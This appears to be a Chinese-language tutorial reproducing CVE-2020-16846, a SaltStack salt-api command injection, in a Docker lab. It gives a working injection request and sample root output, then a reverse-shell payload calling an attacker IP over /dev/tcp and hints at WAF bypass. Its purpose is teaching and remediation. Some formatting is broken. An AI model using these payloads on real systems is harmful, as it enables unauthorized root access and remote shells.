# 如何進行SaltStack命令注入漏洞復現
## 前言
SaltStack是一款流行的開源配置管理和遠程執行工具,廣泛應用于自動化運維場景。然而,歷史上SaltStack曾多次曝出高危漏洞,其中**命令注入漏洞**尤為危險,可能直接導致攻擊者在目標服務器上執行任意命令。本文將詳細講解CVE-2020-16846漏洞的復現過程,幫助安全研究人員理解漏洞原理并驗證修復方案。
---
## 漏洞背景
### 漏洞信息
- **CVE編號**: CVE-2020-16846
- **影響版本**: SaltStack 3002及之前版本
- **漏洞類型**: 命令注入
- **CVSS評分**: 9.8 (Critical)
### 漏洞原理
SaltStack的`salt-api`組件在使用`ssh_client`模塊時,未對用戶輸入的`host`參數進行嚴格過濾,導致攻擊者可通過構造惡意請求注入系統命令。
---
## 環境搭建
### 實驗環境要求
- 虛擬機或云服務器(推薦Ubuntu 20.04)
- Docker環境(用于快速搭建漏洞環境)
### 使用Docker部署漏洞環境
```bash
# 拉取漏洞鏡像
docker pull vulnerables/cve-2020-16846
# 啟動容器(映射SaltStack API端口)
docker run -d -p 8000:8000 --name saltstack-vuln vulnerables/cve-2020-16846
訪問http://<目標IP>:8000應看到SaltStack API的歡迎頁面。
SaltStack API需要認證,首先獲取訪問令牌:
curl -sSk http://localhost:8000/login \
-H 'Accept: application/x-yaml' \
-d username=salt \
-d password=salt \
-d eauth=pam
響應示例:
return:
- eauth: pam
expire: 1625090000.123456
perms:
- .*
start: 1625086400.123456
token: abcdef1234567890
user: salt
利用ssh_client模塊的host參數注入命令:
curl -sSk http://localhost:8000 \
-H 'Accept: application/json' \
-H 'X-Auth-Token: abcdef1234567890' \
-d client=ssh \
-d tgt='*' \
-d fun='test.ping' \
-d ssh_host='localhost";id;"'
| 參數 | 值示例 | 作用 |
|---|---|---|
| client | ssh | 指定SSH客戶端模塊 |
| tgt | * | 目標主機(通配符) |
| fun | test.ping | 執行的Salt函數 |
| ssh_host | localhost";id;" |
注入命令的關鍵參數 |
成功利用時,響應中將包含id命令的執行結果:
{
"return": [
{
"localhost": {
"ret": "uid=0(root) gid=0(root) groups=0(root)\n",
"retcode": 0
}
}
]
}
漏洞位于salt/client/ssh/client.py中:
def _prep_ssh(
self,
host, # 未過濾的用戶輸入
...
):
cmd = 'ssh {0} {1}@{2} {3}'.format(
opts,
self._ssh_user(),
host, # 直接拼接進命令
remote_cmd
)
return shlex.split(cmd)
ssh_host參數傳入惡意字符串SaltStack在3002.1版本中:
1. 使用shlex.quote()對host參數進行轉義
2. 增加輸入白名單驗證
salt-api非必要接口構造更危險的Payload獲取交互式Shell:
ssh_host='localhost";bash -i >& /dev/tcp/攻擊者IP/4444 0>&1;"'
測試WAF繞過技術: - 使用Base64編碼命令 - 利用環境變量拼接命令
通過本次復現,我們了解到: 1. SaltStack命令注入漏洞的高危性 2. 參數過濾不嚴導致的RCE風險 3. 自動化工具安全開發的重要性
建議運維人員:
? 及時升級到最新版本
? 定期進行安全審計
? 最小化API權限分配
”`
注:實際操作時請確保在授權環境下進行測試,避免違反法律法規。本文僅用于教育目的。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。